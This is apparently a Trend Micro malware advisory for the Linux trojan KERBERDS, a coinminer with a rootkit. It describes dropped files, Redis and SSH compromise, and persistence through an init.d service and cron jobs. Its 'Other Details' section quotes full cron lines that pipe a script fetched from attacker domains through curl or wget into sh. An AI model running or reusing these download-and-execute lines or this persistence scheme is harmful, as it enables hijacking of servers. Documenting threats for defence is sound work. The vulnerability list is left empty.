Trojan.Linux.KERBERDS.UWEJL
ELF:BitCoinMiner-HK [Trj] (AVAST)
Linux
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- /tmp/{random} → Coinminer.Linux.KERBERDS.A
- /usr/local/lib/{random}.c (source code of rootkit)
- /usr/local/lib/{random}.so (compiled executable of the source code) → Rootkit.Linux.KERBERDS.B
It drops the following copies of itself into the affected system:
- /usr/local/bin/{random}
- /usr/libexec/tmp/{random}
- /usr/bin/{random}
- /tmp/{random}
It adds the following processes:
- /usr/local/lib/{random}.so
Autostart Technique
This Trojan adds and runs the following services:
- /etc/init.d/sshservice
Other System Modifications
This Trojan modifies the following file(s):
- /etc/hosts
It deletes the following files:
- /usr/local/bin/{random}
- /usr/local/sbin/{random}
- /usr/bin/{random}
- /usr/libexec/tmp/{random}
- /tmp/{random}
Other Details
This Trojan does the following:
- It tries to access Redis servers in order to compromise it
- Installs GCC in the system to compile the source code of the rootkit, then execute it.
- by taking advantage of the following vulnerabilities:
- over SSH network
- Creates the following cronjobs to enable automatic execution of a shell script found in pastebin every 15 minutes:
- Paths:
- /var/spool/cron/root
- /etc/cron.d/root
- /var/spool/cron/crontabs/root
- Content: */15 * * * * (curl -fsSL lsd.system.org||wget -q -O- lsd.system.org)|sh
- Creates the following cronjob to enable automatic execution of a shell script found in the URL every 10 minutes:
- Path: /etc/cron.d/root
- Content: */10 * * * * root (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
- Creates the following cronjobs to enable automatic execution of a shell script found in pastebin every 30 minutes:
- Paths:/var/spool/cron/crontabs/root
- Content: */30 * * * * (curl -fsSL -m180 lsd.system.org||wget -q -T180 -O- lsd.system.org)|sh
- Installs GCC in the system to compile the source code of the rootkit, then execute it.
- It connects to the following URLs:
- {BLOCKED}vifaxsi9vovnc9jjay2l.com:80
- cron.{BLOCKED}xsi9vovnc9jjay2l.com
SOLUTION
Scan your computer with your Trend Micro product to delete files detected as Trojan.Linux.KERBERDS.UWEJL. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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